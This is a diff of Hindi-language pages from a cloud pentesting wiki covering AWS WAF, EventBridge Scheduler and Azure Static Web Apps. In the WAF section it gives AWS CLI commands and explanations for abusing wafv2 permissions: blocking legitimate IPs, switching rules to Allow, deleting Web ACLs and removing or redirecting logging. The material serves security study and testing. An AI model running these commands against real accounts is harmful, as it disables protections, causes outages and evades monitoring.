2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहाँ, उपयोगकर्ता एक सीमा निर्धारित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा के नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है।
#### Managed Rules
@@ -33,7 +31,7 @@ AWS WAF पूर्व-निर्धारित, प्रबंधित
#### IP Set
IP Set उन IP पतों या IP पते की रेंज की एक सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं।
एक IP Set उन IP पतों या IP पते की रेंज की सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं।
#### Regex Pattern Set
@@ -41,24 +39,24 @@ IP Set उन IP पतों या IP पते की रेंज की ए
#### Lock Token
Lock Token का उपयोग WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में अधिलेखित नहीं होते हैं।
एक Lock Token WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए उपयोग किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में अधिलेखित नहीं होते हैं।
#### API Keys
AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुंच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें।
AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुँच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें।
- **Example**: CAPTCHA API का एकीकरण।
#### Permission Policy
एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुंच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें।
एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुँच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें।
#### Scope
AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि क्या WAF नियम और कॉन्फ़िगरेशन क्षेत्रीय एप्लिकेशन या Amazon CloudFront वितरण पर लागू होते हैं।
AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि क्या WAF नियम और कॉन्फ़िगरेशन एक क्षेत्रीय एप्लिकेशन या एक Amazon CloudFront वितरण पर लागू होते हैं।
- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहां ये संसाधन स्थित हैं।
- **CLOUDFRONT**: Amazon CloudFront वितरण पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी सेवा दी जाए।
- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहाँ ये संसाधन स्थित हैं।
- **CLOUDFRONT**: Amazon CloudFront वितरणों पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी परोसी जाए।
### Key features
@@ -68,10 +66,10 @@ AWS WAF में स्कोप पैरामीटर यह निर्
प्रत्येक AWS खाता कॉन्फ़िगर कर सकता है:
- **100 शर्तें** प्रत्येक प्रकार के लिए (Regex के लिए, जहां केवल **10 शर्तें** अनुमति दी जाती हैं, लेकिन इस सीमा को बढ़ाया जा सकता है)।
- **100 नियम** और **50 Web ACLs**।
- अधिकतम **5 दर-आधारित नियम**।
- जब WAF को एक एप्लिकेशन लोड बैलेंसर के साथ लागू किया जाता है, तो **10,000 अनुरोध प्रति सेकंड** की थ्रूपुट।
- **100 conditions** प्रत्येक प्रकार के लिए (Regex के लिए, जहाँ केवल **10 conditions** की अनुमति है, लेकिन इस सीमा को बढ़ाया जा सकता है)।
- **100 rules** और **50 Web ACLs**।
- अधिकतम **5 rate-based rules**।
- जब WAF को एक एप्लिकेशन लोड बैलेंसर के साथ लागू किया जाता है, तो **10,000 requests per second** की थ्रूपुट।
#### Rule actions
@@ -80,13 +78,13 @@ AWS WAF में स्कोप पैरामीटर यह निर्
- **Allow**: अनुरोध को उचित CloudFront वितरण या एप्लिकेशन लोड बैलेंसर पर अग्रेषित किया जाता है।
- **Block**: अनुरोध को तुरंत समाप्त कर दिया जाता है।
- **Count**: नियम की शर्तों को पूरा करने वाले अनुरोधों की गिनती करता है। यह नियम परीक्षण के लिए उपयोगी है, नियम की सटीकता की पुष्टि करने के लिए इससे पहले कि इसे Allow या Block पर सेट किया जाए।
- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध बॉट से नहीं आता है, CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके।
- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध बॉट से नहीं आता है CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके।
यदि कोई अनुरोध Web ACL के भीतर किसी भी नियम से मेल नहीं खाता है, तो यह **डिफ़ॉल्ट क्रिया** (Allow या Block) के अधीन होता है। नियम निष्पादन का क्रम, जो Web ACL के भीतर परिभाषित होता है, महत्वपूर्ण है और आमतौर पर इस अनुक्रम का पालन करता है:
यदि कोई अनुरोध Web ACL के भीतर किसी भी नियम से मेल नहीं खाता है, तो यह **डिफ़ॉल्ट क्रिया** (Allow या Block) का पालन करता है। नियम निष्पादन का क्रम, जो Web ACL के भीतर परिभाषित होता है, महत्वपूर्ण है और आमतौर पर इस अनुक्रम का पालन करता है:
1. Whitelisted IPs को अनुमति दें।
2. Blacklisted IPs को अवरुद्ध करें।
3. किसी भी हानिकारक हस्ताक्षरों से मेल खाने वाले अनुरोधों को अवरुद्ध करें।
1. Allow Whitelisted IPs.
2. Block Blacklisted IPs.
3. Block requests matching any detrimental signatures.
#### CloudWatch Integration
@@ -94,7 +92,7 @@ AWS WAF CloudWatch के साथ एकीकृत होता है, न
### Enumeration
CloudFront वितरण के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा:
CloudFront वितरणों के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा:
- CLI - जब आप CloudFront स्कोप का उपयोग करते हैं तो क्षेत्र US East निर्दिष्ट करें: `--scope CLOUDFRONT --region=us-east-1`।
- API और SDKs - सभी कॉल के लिए, क्षेत्र अंत बिंदु us-east-1 का उपयोग करें।
@@ -192,13 +190,13 @@ aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
>
> हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि वेब WAF द्वारा सुरक्षित न हों।
Delete और Update ऑपरेशनों में **लॉक टोकन** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए आप विशिष्ट संसाधन पर संबंधित **सूची** या **प्राप्त** ऑपरेशनों को कर सकते हैं।
कई Delete और Update ऑपरेशनों में **लॉक टोकन** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए आप विशिष्ट संसाधन पर संबंधित **सूची** या **प्राप्त** ऑपरेशनों को कर सकते हैं।
#### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
एक हमलावर प्रभावित संसाधन की सुरक्षा को समझौता करने में सक्षम होगा:
- नियम समूह बनाना जो, उदाहरण के लिए, वैध IP पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार होता है।
- नियम समूह बनाना जो, उदाहरण के लिए, वैध आईपी पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार होता है।
- नियम समूहों को अपडेट करना, इसके कार्यों को **ब्लॉक** से **अनुमति** में संशोधित करने में सक्षम होना।
- उन नियम समूहों को हटाना जो महत्वपूर्ण सुरक्षा उपाय प्रदान करते हैं।
```bash
@@ -243,9 +241,9 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi
इन अनुमतियों के साथ, एक हमलावर सक्षम होगा:
- एक नया Web ACL बनाना, नियमों को पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को ब्लॉक करते हैं, प्रभावी रूप से WAF को बेकार बना देते हैं या सेवा का इनकार करते हैं।
- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करने में सक्षम होना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले ब्लॉक किया गया था, या वैध अनुरोधों को ब्लॉक करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना।
- एक Web ACL को हटाना, प्रभावित संसाधनों को पूरी तरह से असुरक्षित छोड़ना, इसे वेब हमलों की एक विस्तृत श्रृंखला के लिए उजागर करना।
- एक नया Web ACL बनाना, ऐसे नियम पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को ब्लॉक करते हैं, जिससे WAF बेकार हो जाता है या सेवा का इनकार होता है।
- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले ब्लॉक किया गया था, या वैध अनुरोधों को ब्लॉक करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना।
- एक Web ACL को हटाना, प्रभावित संसाधनों को पूरी तरह से असुरक्षित छोड़ना, जिससे इसे वेब हमलों की एक विस्तृत श्रृंखला के लिए उजागर किया जा सके।
> [!NOTE]
> आप केवल निर्दिष्ट **WebACL** को हटा सकते हैं यदि **ManagedByFirewallManager** गलत है।
@@ -261,7 +259,7 @@ aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scop
```
निम्नलिखित उदाहरण दिखाता है कि कैसे एक Web ACL को एक विशिष्ट IP सेट से वैध ट्रैफ़िक को ब्लॉक करने के लिए अपडेट किया जाए। यदि मूल IP उन IPs में से किसी से मेल नहीं खाता है, तो डिफ़ॉल्ट क्रिया भी इसे ब्लॉक करना होगा, जिससे DoS होगा।
**मूल Web ACL**:
**Original Web ACL**:
```json
{
"WebACL": {
@@ -382,7 +380,7 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
- नए regex पैटर्न बनाना एक हमलावर को हानिकारक सामग्री की अनुमति देने में मदद करेगा
- मौजूदा पैटर्न को अपडेट करने पर, एक हमलावर सुरक्षा नियमों को बायपास कर सकेगा
- उन पैटर्न को हटाना जो दुर्भावनापूर्ण गतिविधियों को अवरुद्ध करने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति दे सकता है।
- उन पैटर्न को हटाना जो दुर्भावनापूर्ण गतिविधियों को रोकने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति दे सकता है।
```bash
# Create regex pattern set
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
@@ -395,13 +393,13 @@ aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<va
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
एक हमलावर के पास **`wafv2:DeleteLoggingConfiguration`** होने पर वह निर्दिष्ट वेब ACL से लॉगिंग कॉन्फ़िगरेशन को हटा सकता है। इसके बाद, **`wavf2:PutLoggingConfiguration`** और **`iam:CreateServiceLinkedRole`** अनुमतियों के साथ, एक हमलावर लॉगिंग कॉन्फ़िगरेशन बना या बदल सकता है (इसे हटाने के बाद) ताकि या तो लॉगिंग को पूरी तरह से रोका जा सके या लॉग को अनधिकृत गंतव्यों की ओर पुनर्निर्देशित किया जा सके, जैसे कि Amazon S3 बकेट, Amazon CloudWatch Logs लॉग समूह या एक Amazon Kinesis Data Firehose के तहत नियंत्रण।
एक हमलावर के पास **`wafv2:DeleteLoggingConfiguration`** होने पर वह निर्दिष्ट वेब ACL से लॉगिंग कॉन्फ़िगरेशन को हटा सकता है। इसके बाद, **`wavf2:PutLoggingConfiguration`** और **`iam:CreateServiceLinkedRole`** अनुमतियों के साथ, एक हमलावर लॉगिंग कॉन्फ़िगरेशन बना या बदल सकता है (इसे हटाने के बाद) ताकि लॉगिंग को पूरी तरह से रोका जा सके या लॉग्स को अनधिकृत स्थलों पर पुनर्निर्देशित किया जा सके, जैसे कि Amazon S3 बकेट, Amazon CloudWatch Logs लॉग समूह या Amazon Kinesis Data Firehose के तहत नियंत्रण।
निर्माण प्रक्रिया के दौरान, सेवा स्वचालित रूप से आवश्यक अनुमतियों को सेट करती है ताकि लॉग को निर्दिष्ट लॉगिंग गंतव्य पर लिखा जा सके:
निर्माण प्रक्रिया के दौरान, सेवा स्वचालित रूप से आवश्यक अनुमतियों को सेट करती है ताकि लॉग्स को निर्दिष्ट लॉगिंग गंतव्य पर लिखा जा सके:
- **Amazon CloudWatch Logs:** AWS WAF निर्दिष्ट CloudWatch Logs लॉग समूह पर एक संसाधन नीति बनाता है। यह नीति सुनिश्चित करती है कि AWS WAF के पास लॉग समूह में लॉग लिखने के लिए आवश्यक अनुमतियाँ हैं।
- **Amazon S3 बकेट:** AWS WAF निर्दिष्ट S3 बकेट पर एक बकेट नीति बनाता है। यह नीति AWS WAF को निर्दिष्ट बकेट में लॉग अपलोड करने के लिए आवश्यक अनुमतियाँ प्रदान करती है।
- **Amazon Kinesis Data Firehose:** AWS WAF Kinesis Data Firehose के साथ बातचीत करने के लिए विशेष रूप से एक सेवा-लिंक्ड भूमिका बनाता है। यह भूमिका AWS WAF को कॉन्फ़िगर की गई Firehose स्ट्रीम में लॉग वितरित करने की अनुमति देती है।
- **Amazon CloudWatch Logs:** AWS WAF निर्दिष्ट CloudWatch Logs लॉग समूह पर एक संसाधन नीति बनाता है। यह नीति सुनिश्चित करती है कि AWS WAF के पास लॉग समूह में लॉग्स लिखने के लिए आवश्यक अनुमतियाँ हैं।
- **Amazon S3 बकेट:** AWS WAF निर्दिष्ट S3 बकेट पर एक बकेट नीति बनाता है। यह नीति AWS WAF को निर्दिष्ट बकेट में लॉग्स अपलोड करने के लिए आवश्यक अनुमतियाँ प्रदान करती है।
- **Amazon Kinesis Data Firehose:** AWS WAF Kinesis Data Firehose के साथ बातचीत करने के लिए विशेष रूप से एक सेवा-लिंक्ड भूमिका बनाता है। यह भूमिका AWS WAF को कॉन्फ़िगर की गई Firehose स्ट्रीम में लॉग्स भेजने की अनुमति देती है।
> [!NOTE]
> प्रत्येक वेब ACL के लिए केवल एक लॉगिंग गंतव्य को परिभाषित करना संभव है।
@@ -415,7 +413,7 @@ aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUST
#### **`wafv2:DeleteAPIKey`**
इस अनुमति के साथ एक हमलावर मौजूदा API कुंजियों को हटा सकता है, जिससे CAPTCHA अप्रभावी हो जाता है और इसके आधार पर कार्यक्षमता बाधित होती है, जैसे कि फॉर्म सबमिशन और पहुंच नियंत्रण। इस CAPTCHA के कार्यान्वयन के आधार पर, यह या तो CAPTCHA बायपास की ओर ले जा सकता है या यदि संसाधन में त्रुटि प्रबंधन सही तरीके से सेट नहीं किया गया है तो DoS की ओर।
इस अनुमति के साथ एक हमलावर मौजूदा API कुंजियों को हटा सकता है, जिससे CAPTCHA अप्रभावी हो जाएगा और इस पर निर्भर कार्यक्षमता, जैसे कि फॉर्म सबमिशन और एक्सेस नियंत्रण, बाधित हो जाएगी। इस CAPTCHA के कार्यान्वयन के आधार पर, यह या तो CAPTCHA बायपास की ओर ले जा सकता है या यदि संसाधन में त्रुटि प्रबंधन सही तरीके से सेट नहीं किया गया है तो DoS की ओर।
```bash
# Delete API key
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
@@ -424,14 +422,14 @@ aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> |
#### **`wafv2:TagResource`, `wafv2:UntagResource`**
एक हमलावर AWS WAFv2 संसाधनों, जैसे कि वेब ACLs, नियम समूह, IP सेट, regex पैटर्न सेट, और लॉगिंग कॉन्फ़िगरेशन से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा।
एक हमलावर AWS WAFv2 संसाधनों, जैसे कि Web ACLs, नियम समूह, IP सेट, regex पैटर्न सेट, और लॉगिंग कॉन्फ़िगरेशन से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा।
```bash
# Tag
aws wafv2 tag-resource --resource-arn <value> --tags <value>
# Untag
aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
```
**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत हेरफेर और संचालन में विघटन।
**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत में हेरफेर और संचालन में विघटन।
## संदर्भ

12
src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
View File

@@ -1,14 +1,12 @@
# AWS - EventBridge Scheduler Enum
## EventBridge Scheduler
{{#include ../../../banners/hacktricks-training.md}}
## EventBridge Scheduler
**Amazon EventBridge Scheduler** एक पूरी तरह से प्रबंधित, **सर्वर रहित शेड्यूलर है जो बड़े पैमाने पर कार्यों को बनाने, चलाने और प्रबंधित करने के लिए डिज़ाइन किया गया है**। यह आपको 270 से अधिक AWS सेवाओं और 6,000+ API संचालन के बीच लाखों कार्यों को शेड्यूल करने की अनुमति देता है, सभी एक केंद्रीय सेवा से। अंतर्निहित विश्वसनीयता और प्रबंधित करने के लिए कोई बुनियादी ढांचा नहीं होने के साथ, EventBridge Scheduler शेड्यूलिंग को सरल बनाता है, रखरखाव की लागत को कम करता है, और मांग को पूरा करने के लिए स्वचालित रूप से स्केल करता है। आप आवर्ती शेड्यूल के लिए क्रोन या दर अभिव्यक्तियों को कॉन्फ़िगर कर सकते हैं, एक बार की कॉल सेट कर सकते हैं, और पुनः प्रयास विकल्पों के साथ लचीले वितरण विंडो को परिभाषित कर सकते हैं, यह सुनिश्चित करते हुए कि कार्य विश्वसनीय रूप से डाउनस्ट्रीम लक्ष्यों की उपलब्धता के आधार पर वितरित किए जाते हैं।
प्रत्येक क्षेत्र में प्रति खाते 1,000,000 शेड्यूल का प्रारंभिक सीमा है। यहां तक कि आधिकारिक कोटा पृष्ठ सुझाव देता है, "एक बार के शेड्यूल को समाप्त होने के बाद हटाने की सिफारिश की जाती है।"&#x20;
प्रत्येक क्षेत्र में प्रति खाते 1,000,000 शेड्यूल का प्रारंभिक सीमा है। यहां तक कि आधिकारिक कोटा पृष्ठ सुझाव देता है, "एक बार के शेड्यूल को पूरा होने के बाद हटाने की सिफारिश की जाती है।"
### Types of Schedules
@@ -18,10 +16,10 @@ EventBridge Scheduler में शेड्यूल के प्रकार:
2. **Rate-based schedules** – एक आवृत्ति के आधार पर आवर्ती कार्य सेट करें, जैसे, हर 2 घंटे।
3. **Cron-based schedules** – एक क्रोन अभिव्यक्ति का उपयोग करके आवर्ती कार्य सेट करें, जैसे, हर शुक्रवार को शाम 4 बजे।
असफल घटनाओं को संभालने के लिए दो तंत्र:
Failed Events को संभालने के लिए दो तंत्र:
1. **Retry Policy** – एक असफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे असफलता मानने से पहले इसे कितनी देर तक अप्रक्रमित रखा जाए।
2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां असफल घटनाएं पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं।
1. **Retry Policy** – एक विफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे विफलता मानने से पहले कितनी देर तक अप्रक्रमित रखा जाए।
2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां विफल घटनाएँ पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं।
### Targets
@@ -66,7 +64,7 @@ aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
```
### Privesc
निम्नलिखित पृष्ठ पर, आप **इवेंटब्रिज शेड्यूलर अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं:
निम्नलिखित पृष्ठ में, आप देख सकते हैं कि **इवेंटब्रिज शेड्यूलर अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**:
{{#ref}}
../aws-privilege-escalation/eventbridgescheduler-privesc.md

4
src/pentesting-cloud/azure-security/az-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# Az - पोस्ट एक्सप्लॉइटेशन
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}

7
src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
View File

@@ -10,8 +10,13 @@ Function apps के बारे में अधिक जानकारी
../az-services/az-function-apps.md
{{#endref}}
> [!CAUTION] > **Function Apps post exploitation tricks विशेष रूप से privilege escalation tricks से संबंधित हैं** इसलिए आप उन्हें वहां पा सकते हैं:
> [!CAUTION]
> **Function Apps पोस्ट एक्सप्लोइटेशन ट्रिक्स प्रिविलेज एस्कलेशन ट्रिक्स से बहुत संबंधित हैं** इसलिए आप उन्हें वहां पा सकते हैं:
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/azure-security/az-privilege-escalation/README.md
View File

@@ -1 +1,3 @@
# Az - Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}

49
src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
View File

@@ -1,25 +1,25 @@
# Az - Static Web Apps
# Az Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Static Web Apps Basic Information
Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने के लिए** है। यह वैश्विक सामग्री वितरण, सर्वर रहित बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, भले ही सेवा को "स्थिर" कहा जाता है, इसका मतलब यह नहीं है कि यह पूरी तरह से सुरक्षित है। जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकते हैं।
Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने के लिए है**। यह वैश्विक सामग्री वितरण, सर्वर रहित बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, भले ही सेवा को "स्थिर" कहा जाता है, इसका मतलब यह नहीं है कि यह पूरी तरह से सुरक्षित है। जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री में छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकता है।
### Deployment Authentication
> [!TIP]
> जब एक स्थिर ऐप बनाया जाता है, तो आप **डिप्लॉयमेंट प्राधिकरण नीति** के बीच **डिप्लॉयमेंट टोकन** और **GitHub Actions वर्कफ़्लो** चुन सकते हैं।
- **डिप्लॉयमेंट टोकन**: एक टोकन उत्पन्न होता है और इसे डिप्लॉयमेंट प्रक्रिया को प्रमाणित करने के लिए उपयोग किया जाता है। **इस टोकन के साथ कोई भी नए संस्करण को डिप्लॉय करने के लिए पर्याप्त है**। एक **Github Action स्वचालित रूप से** रिपॉजिटरी में टोकन को एक गुप्त के रूप में नए संस्करण को डिप्लॉय करने के लिए हर बार जब रिपॉजिटरी अपडेट होती है, डिप्लॉय किया जाता है।
- **GitHub Actions वर्कफ़्लो**: इस मामले में एक बहुत समान Github Action भी रिपॉजिटरी में डिप्लॉय किया जाता है और **टोकन भी एक गुप्त में संग्रहीत होता है**। हालाँकि, इस Github Action में एक अंतर है, यह **`actions/github-script@v6`** क्रिया का उपयोग करता है ताकि रिपॉजिटरी का IDToken प्राप्त किया जा सके और इसका उपयोग ऐप को डिप्लॉय करने के लिए किया जा सके।
- **डिप्लॉयमेंट टोकन**: एक टोकन उत्पन्न होता है और इसे डिप्लॉयमेंट प्रक्रिया को प्रमाणित करने के लिए उपयोग किया जाता है। **इस टोकन के साथ कोई भी नए संस्करण को डिप्लॉय करने के लिए पर्याप्त है**। हर बार जब रिपॉजिटरी अपडेट होती है, तो ऐप के नए संस्करण को डिप्लॉय करने के लिए टोकन को एक गुप्त में रखकर **Github Action स्वचालित रूप से** रिपॉजिटरी में डिप्लॉय किया जाता है।
- **GitHub Actions वर्कफ़्लो**: इस मामले में, एक बहुत समान Github Action भी रिपॉजिटरी में डिप्लॉय किया जाता है और **टोकन भी एक गुप्त में संग्रहीत होता है**। हालाँकि, इस Github Action में एक अंतर है, यह **`actions/github-script@v6`** क्रिया का उपयोग करके रिपॉजिटरी का IDToken प्राप्त करता है और इसका उपयोग ऐप को डिप्लॉय करने के लिए करता है।
- भले ही दोनों मामलों में क्रिया **`Azure/static-web-apps-deploy@v1`** का उपयोग एक टोकन के साथ `azure_static_web_apps_api_token` पैरामीटर में किया जाता है, इस दूसरे मामले में एक यादृच्छिक टोकन एक मान्य प्रारूप के साथ जैसे `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ऐप को डिप्लॉय करने के लिए पर्याप्त है क्योंकि प्राधिकरण `github_id_token` पैरामीटर में IDToken के साथ किया जाता है।
### Web App Basic Authentication
यह **वेब ऐप तक पहुँचने के लिए एक पासवर्ड** कॉन्फ़िगर करना संभव है। वेब कंसोल इसे केवल स्टेजिंग वातावरण या स्टेजिंग और उत्पादन दोनों को सुरक्षित करने के लिए कॉन्फ़िगर करने की अनुमति देता है।
वेब ऐप तक पहुँचने के लिए **एक पासवर्ड कॉन्फ़िगर करना संभव है**। वेब कंसोल इसे केवल स्टेजिंग वातावरण या स्टेजिंग और उत्पादन दोनों को सुरक्षित करने के लिए कॉन्फ़िगर करने की अनुमति देता है।
यह इस प्रकार है कि लेखन के समय एक पासवर्ड-सुरक्षित वेब ऐप कैसा दिखता है:
यह इस तरह है कि लेखन के समय एक पासवर्ड-संरक्षित वेब ऐप कैसा दिखता है:
